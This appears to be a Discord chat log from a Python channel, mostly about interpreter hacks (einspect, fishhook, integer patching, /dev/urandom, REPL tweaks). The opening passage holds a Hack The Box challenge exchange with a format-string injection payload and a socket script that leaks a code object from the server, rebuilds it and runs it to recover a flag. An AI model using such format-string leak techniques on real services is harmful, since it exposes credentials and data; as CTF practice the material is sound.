f"(type(flag)(9)+type(flag)().join(type(flag)(l).zfill(3)for(l)in(flag).encode())).index(type(flag)(9{''.join(str(ord(s)).zfill(3) for s in test_flag)}))or()"

quartz wave
rugged sparrow
#

my original payload was bulky because I was using strings like that tho

quartz wave
#

this is kinda fun

rugged sparrow
#

you should check out more of the stuff on HTB its a cool platform

#

the Web section of Challenges has some other cool ones

rugged sparrow
rugged sparrow
rugged sparrow
#

^ that one was tricky but super satisfying to solve

quartz wave
rugged sparrow
#

you can use the same socket script to interact with the server

#

your looking for a flag again, but this one is from an entirely different angle

#

Hint: || look into format strings and how they work ||

quartz wave
#

am i supposed to use {debug}

rugged sparrow
# quartz wave ok ty

another hint so you don't get stuck in the rabbit hole i did: || you cannot get full rce with format strings, just data leak||

#

no its a red herring

quartz wave
rugged sparrow
#

Yea it's a weird feature, it's basically implemented as a mini embedded language

quartz wave
rugged sparrow
#

i assume its a custom class

#

look at its variables with __dict__

quartz wave
#

ok

dry mirage
rugged sparrow
#

cause there is another one that uses python that @quartz wave is doing rn

dry mirage
#

nvm

#

was wrong

#

forgot to call socket.recv initially

#

and it threw everything off an ord I guess

rugged sparrow
dry mirage
#

new one starts with HTB{ so I guess it looks correct

rugged sparrow
#

yea thats what it should start with

quartz wave
rugged sparrow
#

which function?

dry mirage
#

could have probably optimized that to inquire whether the string is alpha / lower / digit first, but just going through string.printable didn't take that long either

quartz wave
#

more specifically ||.get_credentials()||

rugged sparrow
dry mirage
#

wtf why is self interface

#

this code is so cursed

rugged sparrow
#

oh yea its ugly

quartz wave
rugged sparrow
#

what is the value? spoiler it

quartz wave
rugged sparrow
#

i think you are missing some characters

#

|| did you dump the code object and then exec it? ||

quartz wave
rugged sparrow
#

|| did you make sure you are running the same version of python ||

#

|| you are missing 3 characters after HTB{ ||

quartz wave
rugged sparrow
#

||I would verify that is the correct version ||

quartz wave
#

turns out i forgot a crucial add operation

rugged sparrow
#

ah thatll do it

#

that was another fun one tho

quartz wave
#

yep

rugged sparrow
# quartz wave ok so what i actually did was ||reconstruct the code based on my disassembly ski...

solution || I opted to just pull the object out and reconstruct it and exec it ```py
import socket
from types import CodeType

HTB_Host = '<addr>'
HTB_Port = <port>

path = 'whoami.globals[server].bridge.db.get_credentials.code'
commands = []

for attr in dir(CodeType):
commands.append((attr, f'{{{path}.{attr}}}'))

s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect((HTB_Host, HTB_Port))
s.recv(1024) # clear buffer
responses = []
attrs = []
for attr, command in commands:
attrs.append(attr)
s.sendall(command.encode() + b'\n')
responses.append(s.recv(1024).decode().splitlines()[0])

responses.pop(0)
responses.append(s.recv(1024).decode().splitlines()[0])
s.close()
import ast
extracted_obj = {}
for attr, val in zip(attrs, responses):
if attr.startswith('co_'):
try:
extracted_obj[attr] = ast.literal_eval(val)
except:
extracted_obj[attr] = val

f = lambda:0
f.code = f.code.replace(**extracted_obj)
print('Flag:', f(None))

dry mirage
rugged sparrow
#

Oh yea that would be funky

fossil bay
#

the elites don't want you to know this, but in python you can reassign integers

#

this is a dark art. the esoterica is strong.

quartz wave
night quarryBOT
low lynx
#

is it possible to use einspect to shift every integer over by 1?

#

not just specific integers, every integer

#

so 1+1 would become 5

#

9-8 would be 2

#

2*2 is 10

#

etc

dry mirage
#

I guess? yeah

#

it would break some of the internal logic though if all small ints change like that

#

!e

from einspect import view

for i in range(25, 75):
    view(i).value += 1

print(30, 40, 50)
print(30 + 30)
night quarryBOT
#

@dry mirage :white_check_mark: Your 3.11 eval job has completed with return code 0.

001 | 31 41 51
002 | 61
dry mirage
#

if it's not too small it's mostly fine

low lynx
#

does 30+30 get optimized in the compiler?

flint hollow
#

!e

import dis
def foo():
    return 30+30
dis.dis(foo)
night quarryBOT
#

@flint hollow :white_check_mark: Your 3.11 eval job has completed with return code 0.

001 |   2           0 RESUME                   0
002 | 
003 |   3           2 LOAD_CONST               1 (60)
004 |               4 RETURN_VALUE
dry mirage
#

yeah that's why it's 61 instead of 62

#

well

#

63 rather

#

!e

from einspect import view

for i in range(25, 75):
    view(i).value += 1

print(30 + 30)
print(eval("30 + 30"))
night quarryBOT
#

@dry mirage :white_check_mark: Your 3.11 eval job has completed with return code 0.

001 | 61
002 | 63
fiery hare
#

!e

class Thing:
    def __getattr__(self, attr):
        return self
    def __call__(self, *args, **kwargs):
        return self

t = Thing()
t.hi().bye(54).foobar().blahblah.fourty_two.when_will_it_stop(None, AttributeError, float('inf'))
night quarryBOT
#

@fiery hare :warning: Your 3.11 eval job has completed with return code 0.

[No output]
fiery hare
#

finally, I can do unlimited chaining in python

eager ore
real gull
gleaming linden
#
I,=open(i:=0)
print(''.join(96<(r:=ord(c))<123and chr((ord('etim'[i:=-~i%4])-r)%26+97)or c for c in I))
``` any more improvements? (Currently 103c)
(Beaufort cipher, key is 'time', should only convert a-z and leave everything else unchanged)
low lynx
#

if that does then

I,=open(i:=0)
print(''.join([c,chr((ord('etim'[i:=-~i%4])-ord(c))%26+97)]['`'<c<'{']for c in I))

should work as well

#

do you have any test cases?

gleaming linden
#

nope, you cant update i on non-characters

low lynx
#

ah

gleaming linden
#

Input ```
abem lq zqa i rwnezace kwebin. lvulpij qo qesexo mmahllvg atgf llwi, ilpf lmau cltfac, pfa semkouvl raxxpr, ez abi tpptac au r exmcpq mzaev e, abir abi cffib ietlpr em g tbereu dpdynp pfa ietlpr er abi cffi ifrj. lmau styim lp wklpi e iut sfri wgpinpqtwgc.

Output ```
this is not a vigenere cipher. instead of simply shifting each time, with this cipher, the beaufort cipher, if the letter is n places after a, then the coded letter is n places before the letter in the code word. this makes it quite a lot more interesting.
gleaming linden
unreal echo
low lynx
sullen kraken
#

how do i get 1 using least types of characters possible, but not any numbers?

#

i figured out int(bool([[]])) == 1,

#

and also int()**int() == 1

astral rover
#

int(True) is shorter

sullen kraken
#

i'm also trying to get least types of characters

astral rover
#

1 is a character :P

sullen kraken
#

okay i'm really bad at writing

versed eagle
#

though, those are all unique

languid hare
#

does just True count :p

versed eagle
#

True is 1 is False

sullen kraken
#

True == 1 is True

languid hare
#

+True then

versed eagle
#

that's a good one

languid hare
#

quite possibly the first time ive used the + prefix

rough mulch
#

i challange you make a random int generator from scratch

old socket
#

From scratch or with scratch

rough mulch
#

from*

versed eagle
#

int.from_bytes(open("/dev/urandom", "rb").read(4), "little")

rough mulch
#

execute

old socket
#

I keep forgetting about /dev/urandom

versed eagle
# rough mulch execute
ensnared@snare:~$ python3
Python 3.10.7 (main, Nov 24 2022, 19:45:47) [GCC 12.2.0] on linux
Type "help", "copyright", "credits" or "license" for more information.
>>> int.from_bytes(open("/dev/urandom", "rb").read(4), "little")
436832122
>>> int.from_bytes(open("/dev/urandom", "rb").read(4), "little")
3706499640
>>> int.from_bytes(open("/dev/urandom", "rb").read(4), "little")
1785615260
>>> int.from_bytes(open("/dev/urandom", "rb").read(4), "little")
2166639331
>>> int.from_bytes(open("/dev/urandom", "rb").read(4), "little")
482751829
>>> int.from_bytes(open("/dev/urandom", "rb").read(4), "little")
2261181272
>>> int.from_bytes(open("/dev/urandom", "rb").read(4), "little")
4057145735
>>> int.from_bytes(open("/dev/urandom", "rb").read(4), "little")
1821552199
>>> int.from_bytes(open("/dev/urandom", "rb").read(4), "little")
3649613110
rough mulch
#

damn

versed eagle
#

you can also use /dev/random if you want it to be slower but more random

old socket
#

Does snekbox support /dev/urandom?

versed eagle
#

!e

print(int.from_bytes(open("/dev/urandom", "rb").read(4), "little"))
night quarryBOT
#

@versed eagle :x: Your 3.11 eval job has completed with return code 1.

001 | Traceback (most recent call last):
002 |   File "<string>", line 1, in <module>
003 | FileNotFoundError: [Errno 2] No such file or directory: '/dev/urandom'
versed eagle
#

apparently not

versed eagle
versed eagle
old socket
#

😔

versed eagle
#

and then converts that into an int

rough mulch
languid hare
#

!e

import os
print(os.urandom(5))
night quarryBOT
#

@languid hare :white_check_mark: Your 3.11 eval job has completed with return code 0.

b'\x92\xbd\xc0\xffD'
languid hare
#

hmm

versed eagle
#

it's a file that exists on most unix based systems
when read from it returns random bytes, but unlike /dev/random, it won't wait to become more random before it returns from the read
so, after being read a few times, its results are less random, but faster

old socket
#

!e ```py
import os; print(os.listdir("/dev"))

night quarryBOT
#

@old socket :x: Your 3.11 eval job has completed with return code 1.

001 | Traceback (most recent call last):
002 |   File "<string>", line 1, in <module>
003 | FileNotFoundError: [Errno 2] No such file or directory: '/dev'
versed eagle
#

aw

old socket
#

Wheres os.urandom defined?

#

It's not popping up in the search

versed eagle
#

my guess would be imported from the posix module
since in the os module, they do from posix import *
(on systems that support it)

old socket
#

Alright

#

I see _PyOS_URandom in C

#

I guess this is it?

night quarryBOT
#

Python/bootstrap_hash.c line 513

return dev_urandom(buffer, size, raise);```
versed eagle
#

yep. it returns from /dev/urandom

old socket
#

But that still opens /dev/urandom

#

So why does os.urandom work but not open("/dev/urandom", ...)

versed eagle
#

good question. i have no clue

split salmon
split salmon
#

1 min

astral rover
#
random = lambda: 0.42
```you couldnt ever actually prove that this wasnt random if you didnt have the source :)
versed eagle
#
def get_random_number() -> int:
    return 4 # guaranteed random, chosen by fair dice roll
#

you reminded me of the xkcd

split salmon
# astral rover ```py random = lambda: 0.42 ```you couldnt ever actually prove that this wasnt r...
class RandInt:
  seed = 100
  x = 0
  def randint(self, lower, upper):
    if upper < lower:
      raise Exeception
    for x in range(1_000):
      self.seed <<= 3
      self.seed %= 65521 + self.x
      self.x += 1
      self.x %= 530
      self.seed += x << 1
      self.seed += 1
      self.seed %= 65521 + self.x
    return int(lower + (self.seed / (65521 + self.x)) * (upper - lower))

randint = RandInt()
randint.seed = 4 # chosen by a fair dice roll
print(randint.randint(0, 100))
print(randint.randint(0, 100))
print(randint.randint(0, 100))```
meager zinc
night quarryBOT
#

@meager zinc :x: Your 3.11 eval job has completed with return code 1.

001 | Traceback (most recent call last):
002 |   File "<string>", line 4, in <module>
003 | _pickle.PicklingError: __reduce__ must return a string or tuple
lost pawn
#

with open

#

or /dev/random it self on who can open/access it

meager zinc
#

The filesystem barely has any files

#

you can look

#

!e ```py
import os
print(os.listdir('/'))

night quarryBOT
#

@meager zinc :white_check_mark: Your 3.11 eval job has completed with return code 0.

['usr', 'snekbox', 'lib64', 'lib', 'etc']
dry mirage
lost pawn
#

!e

import os
print(os.listdir('/snekbox/'))
night quarryBOT
#

@lost pawn :white_check_mark: Your 3.11 eval job has completed with return code 0.

['requirements', 'config', 'user_base']
lost pawn
#

!e

import os
print(os.listdir('/snekbox/user_base'))
night quarryBOT
#

@lost pawn :white_check_mark: Your 3.11 eval job has completed with return code 0.

['share', 'lib', 'bin']
rugged owl
versed eagle
#

neither /dev/ or /proc/ are there
which is sad since you can do some cool stuff with them

rugged owl
#

Yeah would be nice

meager zinc
#

or maybe they just didn't want to take any chances

old socket
#

Does windows have a /dev/(u)random equivalent?

meager zinc
#

*Library function not syscall

rugged owl
split salmon
#

!e ```py
import os
print(os.listdir('/snekbox/user_base/bin'))

night quarryBOT
#

@split salmon :white_check_mark: Your 3.11 eval job has completed with return code 0.

['fonttools', 'f2py3', 'isympy', 'pyftsubset', 'pyftmerge', 'f2py3.11', 'ttx', 'f2py']
next flame
#

at any rate, you should always use /dev/urandom

next flame
#

@rough mulch pinging you as well cuz you asked about it

sudden osprey
#

done :P bot#2415

glass drumBOT
arctic skiff
night quarryBOT
#

@arctic skiff :white_check_mark: Your 3.11 timeit job has completed with return code 0.

1000000 loops, best of 5: 241 nsec per loop
arctic skiff
#

it works!

versed eagle
#

the main use-case of /dev/random is for when the system is booting

#

(from man 4 random)
When read during early boot time, /dev/urandom may return data prior to the entropy pool being initialized. If this is of concern in your application, use getrandom(2) or /dev/random instead.

earnest wing
#

i.e. There isn't currently a problem with using /dev/urandom for cryptographic applications, but there could possibly be a theoretical attack that abuses its entropy reuse, and therefore if you're worried about that, use /dev/random

#

(Of course the tradeoff is you no longer have a non-blocking stream of random data, and that might be a non-starter for certain applications)

#

(although i'm not actually sure whether different platforms implement them the same way)

split salmon
abstract vault
#

Ok, I have a repl question, is there a way to change what happens when a bare value is put on the command line?
So if I do

>>> import sys
>>> sys.ps1
'>>> '

Is there a way to customize what that does?

versed eagle
#

you can change the __repr__ of the object

abstract vault
#

The endgoal is to be able to do something like....

>>> exit

and it will exit the python interpreter, in addition to other commands

proper vault
abstract vault
#

Thanks. But it complains about the repr returning a non-string

abstract vault
#

quit gives infinite recursion

versed eagle
#

wdym

old socket
#

Success from failure

abstract vault
#
import os
import sys
from colorama import *

global header 
header = f"Python {sys.version} on {sys.platform}"

sys.ps1 = f"{Fore.GREEN}[{sys.version.split()[0]}]>{Fore.RESET} "
sys.ps2 = lambda: f"{Fore.CYAN}{sys.ps2}{Fore.RESET}"

class EXITER:
    def __init__(self):
        pass
    def __repr__(self):
        return f"{quit()}"
    def __call__(self):
        return f"{quit()}"

class CLEARER:
    def __init__(self):
        pass
    def __repr__(self):
        return self()
    def __call__(self):
        os.system("cls")
        return header

quit = EXITER()
exit = EXITER()
clear = CLEARER()

try:
    exec(open("~/.pythonrc").read(), globals())
except:
    pass

print(header)
#
Python 3.11.0 (main, Oct 24 2022, 18:26:48) [MSC v.1933 64 bit (AMD64)] on win32
[3.11.0]> exit
Traceback (most recent call last):
  File "<stdin>", line 1, in <module>
  File "<string>", line 15, in __repr__
  File "<string>", line 17, in __call__
  File "<string>", line 17, in __call__
  File "<string>", line 17, in __call__
  [Previous line repeated 495 more times]
RecursionError: maximum recursion depth exceeded while calling a Python object
[3.11.0]>
versed eagle
#

well yeah you're calling quit

#

ofc is going to recurse

#

quit is itself

#

in the call method, it's calling itself

abstract vault
#

fixed it

versed eagle
#

use sys.exit

#

or os._exit

abstract vault
#
import os
import sys
from colorama import *

global header 
header = f"Python {sys.version} on {sys.platform}"

sys.ps1 = f"{Fore.GREEN}[{sys.version.split()[0]}]>{Fore.RESET} "
sys.ps2 = lambda: f"{Fore.CYAN}{sys.ps2}{Fore.RESET}"

sys_exit = quit

class EXITER:
    def __init__(self):
        pass
    def __repr__(self):
        return f"{sys_exit()}"
    def __call__(self):
        return f"{sys_exit()}"

class CLEARER:
    def __init__(self):
        pass
    def __repr__(self):
        return self()
    def __call__(self):
        os.system("cls")
        return header

quit = EXITER()
exit = EXITER()
clear = CLEARER()

try:
    exec(open("~/.pythonrc").read(), globals())
except:
    pass

print(header)
meager zinc
versed eagle
#

or libc++

meager zinc
#

or msvcrt

abstract vault
#

GOT IT!

meager zinc
#

for the classic windows user

#

windows just does its own thing sometimes

versed eagle
#

which is what libc wraps

#

with their exit

abstract vault
#

Now, I wonder if I can scan the path and use python as a shell?

meager zinc
#

!e ```py
import os, posix
assert posix._exit is os._exit or posix._exit == os._exit

night quarryBOT
#

@meager zinc :warning: Your 3.11 eval job has completed with return code 0.

[No output]
abstract vault
#

yes. that's how I clear the screen

versed eagle
meager zinc
#

Oh that makes sense

versed eagle
#

on posix systems, that is

meager zinc
#

Or from msvcrt import *?

versed eagle
#

for msvtrc they wrap the functions so that they have the same names

meager zinc
#

nevermind they import nt

versed eagle
#

as the posix ones

night quarryBOT
#

Lib/os.py line 83

import nt```
versed eagle
#

mhm

#

whatever windows uses

meager zinc
#

Wait... it's possible to have both !?

#

if you have the posix and nt modules in the builtins it will import both

versed eagle
#

i don't think so?

meager zinc
#

ah nevermind

#

it's an elif

versed eagle
#

since windows isn't posix compliant

#

the posix module would just. not work

#

wouldn't even compile

meager zinc
#

you could probably make some messed up windows that supported both technically

#

but it would be a waste of time

versed eagle
#

+1 is const folded

meager zinc
#

!e ```py
from fishhook import hook_cls
@hook_cls(int)
class hook:
def pos(self):
return 1
print(+int())

versed eagle
#

hooking object would hook things that don't reimplement the method

meager zinc
#

oh yeah it's probably reimplmented

versed eagle
#

if they provide a new implementation it wouldn't hook it

night quarryBOT
#

@meager zinc :white_check_mark: Your 3.11 eval job has completed with return code 0.

1
meager zinc
#

Yeah there we go

#

hmm

#

you might be able to do it dynamically somehow

#

e.g. override on use

#

or you could use trippy bytecode hacks

#

to override every __pos__ bytecode call

versed eagle
#

you can override type to enforce it on new classes that're created

meager zinc
#

what if they override it

#

Lemme try something

versed eagle
#

well
you aren't going to be able to stop someone entirely

#

from using the original __pos__

#

if they really want to

meager zinc
#

!e ```py
from fishhook import hook_cls, hook
@hook_cls(object)
class obj:
def cls(cls):
@hook(cls)
def pos(self):
return 1
return cls
print(+int())

night quarryBOT
#

@meager zinc :white_check_mark: Your 3.11 eval job has completed with return code 0.

0
meager zinc
#

darn

old socket
#

How? (if it isn't a builtins class)

meager zinc
#

thought it was worth a try

versed eagle
#

you can hook class creation

old socket
#

No I mean't how would you even get the original method if it isn't a builtins

#

Like a user type

meager zinc
#

Should I bytecode hack?

versed eagle
#

ah

old socket
#

Inb4 something stack or ctypes shit

meager zinc
#

Strangely, it is possible to overwrite the entire stack and the bytecode.

#

But it's a dark art - not for the faint of heart.

#

lol

versed eagle
#

well, theoretically (but it'd be basically impossible in practice, since it'd be down to guessing), you can find the location in memory where the old function resides
and replace the pointer to the new func with the old one

#

it'd be not that hard if you know what the original function was

meager zinc
#

Well you can replace every BIN_OP call corresponding to UNARY_PLUS with LOAD_CONST 1

#

Or replace it with a function call / lambda returning 1

versed eagle
#

actually, if you know what the original function was then you can just construct a new identical one

old socket
#

Is there anyway to get barry_FLULF to work without compiling it as a string

meager zinc
#

barry_FLULF.py:

exec(compile("from __future__ import barry_as_FLULF"))

then import as normal?

#

it's pretty much cheating though

old socket
#

what

#

I meant the future import

meager zinc
#

oh ye its from future

versed eagle
#

from __future__ import barry_as_FLUFL iirc

#

p sure it's FLUFL not FLULF

old socket
#

!e ```py
exec(compile("from future import barry_as_FLULF"))
0 <> 1

night quarryBOT
#

@old socket :x: Your 3.11 eval job has completed with return code 1.

001 |   File "<string>", line 2
002 |     0 <> 1
003 |       ^^
004 | SyntaxError: invalid syntax
meager zinc
#

darn

versed eagle
#

the syntax is evaluated before the import runs

eager ore
#

i'm pretty sure

abstract vault
# versed eagle `os.system`

What I meant was, can I set it up so that if you type ```python

ls -lA /etc/

in the python interpreter, it will run ls with those arguments
versed eagle
#

if you hook the globals dict and drop the second /, then yes

#

instead of ls -lA /etc/, use ls -lA /etc
will do the same thing

#

and then, hook the globals module, str.__add__, and str.__truediv__

#

while you're at it might as well hook str.__floordiv__ as well, since // is replaced with / in paths (unless it's by itself)

versed eagle
#

yeah i know

versed eagle
#

i said that

#

right here

#

in that message

next flame
#

so

#

both are effectively the same

#

/dev/urandom doesn't feed csprng values back into itself

versed eagle
next flame
#

but that only applies to startup

potent comet
old socket
old socket
potent comet
#

Yeah you can't do it another way, __future__ imports are very special syntax checked before other things are.

orchid nymph
#

!e

ₙ=0;ₙ=1.jif{ₙ:~(ₙ)}else{};print(ₙ);
night quarryBOT
#

@orchid nymph :white_check_mark: Your 3.11 eval job has completed with return code 0.

001 | <string>:1: SyntaxWarning: invalid imaginary literal
002 | 1j
orchid nymph
#

!e

print(0.jif{ₙ:=1}else{ₙ:~ₙ})
night quarryBOT
#

@orchid nymph :white_check_mark: Your 3.11 eval job has completed with return code 0.

001 | <string>:1: SyntaxWarning: invalid imaginary literal
002 | 0j
meager zinc
#

periods in a row list

.1             # float
a.b            # attribute
1..__doc__     # float attribute
...            # ellipsis
....__doc__    # ellipsis attribute
f"{...:.....}" # ellipsis format specifier (can be any length)
orchid nymph
#

!e

print(0.jif.1jis.2jor.3jelse.5jin{not.4jfor _ in{5.jand.6j}})
night quarryBOT
#

@orchid nymph :white_check_mark: Your 3.10 eval job has completed with return code 0.

001 | <string>:1: SyntaxWarning: "is" with a literal. Did you mean "=="?
002 | 0j
orchid nymph
#

!e

print(0.jif.1jis.2jor.3jelse.4jin{not.5jfor(j)in{6.jand.7j}})
night quarryBOT
#

@orchid nymph :white_check_mark: Your 3.10 eval job has completed with return code 0.

001 | <string>:1: SyntaxWarning: "is" with a literal. Did you mean "=="?
002 | 0j
unique heath
#

can any1 give me some ctypes hackery stuff to make

>>> hell + o
hello``` work
versed eagle
night quarryBOT
#

@versed eagle :white_check_mark: Your 3.11 eval job has completed with return code 0.

hello
unique heath
#

ty

#

!e

from fishhook import hook
from ctypes import *

@hook(str)
def __matmul__(self, other):
    return self + "@" + other

class _(dict):
    __slots__ = ()
    def __getitem__(s,i):
        d_gi = {}.__class__.__getitem__
        try:
            return d_gi(s,i)
        except:
            try:
                return d_gi(s,"__builtins__").__getattribute__(i)
            except:
                return i
py_object.from_address(id(globals()) + 8).value = _

print(me@gmail.com)```
night quarryBOT
#

@unique heath :x: Your 3.11 eval job has completed with return code 1.

001 | Traceback (most recent call last):
002 |   File "<string>", line 21, in <module>
003 | AttributeError: 'str' object has no attribute 'com'
unique heath
#

!e

from fishhook import hook
from ctypes import *

@hook(str)
def __matmul__(self, other):
    return self + "@" + other

@hook(str)
@property
def com(self):
    return "com"

class _(dict):
    __slots__ = ()
    def __getitem__(s,i):
        d_gi = {}.__class__.__getitem__
        try:
            return d_gi(s,i)
        except:
            try:
                return d_gi(s,"__builtins__").__getattribute__(i)
            except:
                return i
py_object.from_address(id(globals()) + 8).value = _

print(me@gmail.com)```
night quarryBOT
#

@unique heath :x: Your 3.11 eval job has completed with return code 1.

001 | Traceback (most recent call last):
002 |   File "<string>", line 8, in <module>
003 |   File "/snekbox/user_base/lib/python3.11/site-packages/fishhook/fishhook.py", line 303, in wrapper
004 |     code = func.__code__
005 |            ^^^^^^^^^^^^^
006 | AttributeError: 'property' object has no attribute '__code__'. Did you mean: '__doc__'?
unique heath
#

!e

from fishhook import hook
from ctypes import *

@hook(str)
def __matmul__(self, other):
    return self + "@" + other
@property
@hook(str)
def com(self):
    return "com"

class _(dict):
    __slots__ = ()
    def __getitem__(s,i):
        d_gi = {}.__class__.__getitem__
        try:
            return d_gi(s,i)
        except:
            try:
                return d_gi(s,"__builtins__").__getattribute__(i)
            except:
                return i
py_object.from_address(id(globals()) + 8).value = _

print(me@gmail.com)```
night quarryBOT
#

@unique heath :x: Your 3.11 eval job has completed with return code 1.

001 | Traceback (most recent call last):
002 |   File "<string>", line 25, in <module>
003 |   File "<string>", line 6, in __matmul__
004 | TypeError: can only concatenate str (not "method") to str
unique heath
#

!e

from fishhook import hook
from ctypes import *

@hook(str)
def __matmul__(self, other):
    return self + "@" + other
@property
@hook(str)
def com(self):
    return self + "com"

class _(dict):
    __slots__ = ()
    def __getitem__(s,i):
        d_gi = {}.__class__.__getitem__
        try:
            return d_gi(s,i)
        except:
            try:
                return d_gi(s,"__builtins__").__getattribute__(i)
            except:
                return i
py_object.from_address(id(globals()) + 8).value = _

print(me@(gmail.com))```
night quarryBOT
#

@unique heath :x: Your 3.11 eval job has completed with return code 1.

001 | Traceback (most recent call last):
002 |   File "<string>", line 25, in <module>
003 |   File "<string>", line 6, in __matmul__
004 | TypeError: can only concatenate str (not "method") to str
unique heath
#

!py

from fishhook import hook
@property
@hook(str)
def com(self):
    return "com"

print("test".com)```
#

!e

from fishhook import hook
@property
@hook(str)
def com(self):
    return "com"

print("test".com)```
night quarryBOT
#

@unique heath :white_check_mark: Your 3.11 eval job has completed with return code 0.

<bound method com of 'test'>
unique heath
#

oh

#

!py

from fishhook import hook
@property
@hook(str)
def com(self):
    return "com"

print("test".com())```
#

!e

from fishhook import hook
@property
@hook(str)
def com(self):
    return "com"

print("test".com())```
night quarryBOT
#

@unique heath :white_check_mark: Your 3.11 eval job has completed with return code 0.

com
unique heath
#

sad

low lynx
#

this is why einspect is superior

versed eagle
#

to be fair to fishhook. it's not being used entirely correctly here

low lynx
#

!e

from einspect import impl
@impl(int)
@property
def foo(self):
    return '1'

print(1 .foo)
night quarryBOT
#

@low lynx :white_check_mark: Your 3.11 eval job has completed with return code 0.

1
versed eagle
#

but yeah, einspect is more capable at doing more things

low lynx
#

let's go I einspected first try

versed eagle
#

yay!

low lynx
#

ionite must be proud of me

orchid nymph
#

!e

from fishhook import hook
from types import FunctionType

@hook(FunctionType)
def __str__(self):
  return "com"

def foo():0

print(foo)
night quarryBOT
#

@orchid nymph :white_check_mark: Your 3.11 eval job has completed with return code 0.

com
orchid nymph
#

🙂

#

!e

from fishhook import hook
from ctypes import *
from types import MethodType

@hook(str)
def __matmul__(self, other):
    return self + "@" + str(other)

@hook(str)
def com(self):0

@hook(MethodType)
def __str__(self):
    return "com"

class _(dict):
    __slots__ = ()
    def __getitem__(s,i):
        d_gi = {}.__class__.__getitem__
        try:
            return d_gi(s,i)
        except:
            try:
                return d_gi(s,"__builtins__").__getattribute__(i)
            except:
                return i
py_object.from_address(id(globals()) + 8).value = _

print(mestr@gmail.com)
night quarryBOT
#

@orchid nymph :white_check_mark: Your 3.11 eval job has completed with return code 0.

mestr@com
#

@orchid nymph :white_check_mark: Your 3.11 eval job has completed with return code 0.

mestr@gmailcom
orchid nymph
#

!e

from fishhook import hook
from ctypes import *

@hook(str)
def __matmul__(self, other):
    return self + "@" + other

@hook(str)
def __getattribute__(self, attr):
  return self + "." + attr

class _(dict):
    __slots__ = ()
    def __getitem__(s,i):
        d_gi = {}.__class__.__getitem__
        try:
            return d_gi(s,i)
        except:
            try:
                return d_gi(s,"__builtins__").__getattribute__(i)
            except:
                return i
py_object.from_address(id(globals()) + 8).value = _

print(mestr@gmail.com)
night quarryBOT
#

@orchid nymph :white_check_mark: Your 3.11 eval job has completed with return code 0.

mestr@gmail.com
sullen temple
#

O dang that was from days ago, sorry about that for some reason it was highlighted

rugged sparrow
# low lynx this is why einspect is superior

einspect will break with every major version of python without major work to update it because it uses structs that are not part of the stable api, fishhook will work automatically because it uses math to allow it to calculate structure information at runtime. (That's how it currently supports 3.8->3.12alpha and only needed 1 line of code for 3.11+ support)

rugged sparrow
# unique heath sad

Fishhook provides hook.property for adding properly wrapped properties with dispatch support

dry mirage
dry mirage
rugged sparrow
#

I also wanted to keep everything separate so it is clear what fishhook is doing with a given hook hook(cls) for functions, hook.property(cls) for descriptors and hook.cls(cls) for batch hooks

dry mirage
rugged sparrow
#

for builtin classes, descriptors are in a separate array when you define them in C

#

I also did hook.property separate to make it easier for users to differentiate between func and property hooks since the method for calling into the orig chain is a bit different

#

and the way is is right now, property hooks defined with hook.property can define setters, getters and deleters automatically

#

!e ```py
from fishhook import hook, orig

@hook.property(int)
def imag(self):
print('getting int.imag')
return orig.imag

@imag.setter
def imag(self, other):
print('trying to set int.imag', other)

@imag.deleter
def imag(self):
print('trying to delete int.imag')

print((1).imag)
(1).imag = 2
del (1).imag``` @dry mirage hook.property enables this kind of descriptor hooks

night quarryBOT
#

@rugged sparrow :white_check_mark: Your 3.11 eval job has completed with return code 0.

001 | getting int.imag
002 | 0
003 | trying to set int.imag 2
004 | trying to delete int.imag
dry mirage
#

if they were actually in a class with @hook_cls or something

rugged sparrow
#

hook_cls passes any properties it finds into the hook_property class

rugged sparrow
# dry mirage if they were actually in a class with `@hook_cls` or something

!e ```py
from fishhook import *

@hook.cls(int)
class int_hooks:
@property
def imag(self):
print('getting int.imag')
return orig.imag

@imag.setter
def imag(self, other):
print('trying to set int.imag', other)

@imag.deleter
def imag(self):
print('trying to delete int.imag')

print((1).imag)
(1).imag = 2
del (1).imag``` it makes this more parallel to the hooks without hook.cls

night quarryBOT
#

@rugged sparrow :white_check_mark: Your 3.11 eval job has completed with return code 0.

001 | getting int.imag
002 | 0
003 | trying to set int.imag 2
004 | trying to delete int.imag
dry mirage
#

!e since it's just

from einspect import impl

@impl(str)
@property
def abc(self):
    print("in abc")

@impl(str)
@abc.setter
def abc(self, value):
    print("in abc setter")

@impl(str)
@abc.deleter
def abc(self):
    print("in abc deleter")

"".abc
"".abc = 1
del "".abc
night quarryBOT
#

@dry mirage :white_check_mark: Your 3.11 eval job has completed with return code 0.

001 | in abc
002 | in abc setter
003 | in abc deleter
rugged sparrow
#

the way its done right now makes my orig strategy easier to implement, and also avoids multiple levels of decorators but yea that would work

dry mirage
#

hm, I wonder what happens if property nests something else that's not a function

rugged sparrow
#

like it uses a different callable instead of a function?

dry mirage
#

or is that deprecated in 3.11?

#

they dropped support for property + classmethod or something iirc

rugged sparrow
#

oh yea they did remove the automatic nesting

dry mirage
#

I wonder if I can patch it back at runtime

#

🥴

rugged sparrow
#

i use py class classproperty(property): def __get__(self, owner_self, owner_cls): return self.fget(owner_cls) for hook.var

#

!e ```py
class classproperty(property):
def get(self, owner_self, owner_cls):
return self.fget(owner_cls)

class A:
@classproperty
def value(arg):
return arg

print(A.value)
print(A().value)```

night quarryBOT
#

@rugged sparrow :white_check_mark: Your 3.11 eval job has completed with return code 0.

001 | <class '__main__.A'>
002 | <class '__main__.A'>
dry mirage
#

huh interesting

#

though I guess setter and deleter don't work there?

#

I remember those were more complicated

rugged sparrow
#

lemme check

dry mirage
#

!e 😔

class classproperty(property):
    def __get__(self, owner_self, owner_cls):
        return self.fget(owner_cls)

class A:
    @classproperty
    def __name__(cls):
        return "?"
    
print(A.__name__)
night quarryBOT
#

@dry mirage :white_check_mark: Your 3.11 eval job has completed with return code 0.

A
rugged sparrow
#

yea those won't work for dynamic class variables like that (but you could use a metaclass to do it)

dry mirage
#

does declaring __name__ not error? weird

rugged sparrow
#

hmm id kinda expect it to error, weird

dry mirage
#

!e

class A:
    __name__ = "B"
    
print(A.__name__)
night quarryBOT
#

@dry mirage :white_check_mark: Your 3.11 eval job has completed with return code 0.

A
dry mirage
#

!zen 9

night quarryBOT
#
The Zen of Python (line 9):

Errors should never pass silently.

dry mirage
#

😔

rugged sparrow
#

!e ```py
class A:
name = 'B'

print(A.name)
print(A().name)```

night quarryBOT
#

@rugged sparrow :white_check_mark: Your 3.11 eval job has completed with return code 0.

001 | A
002 | B
dry mirage
#

wtf

#
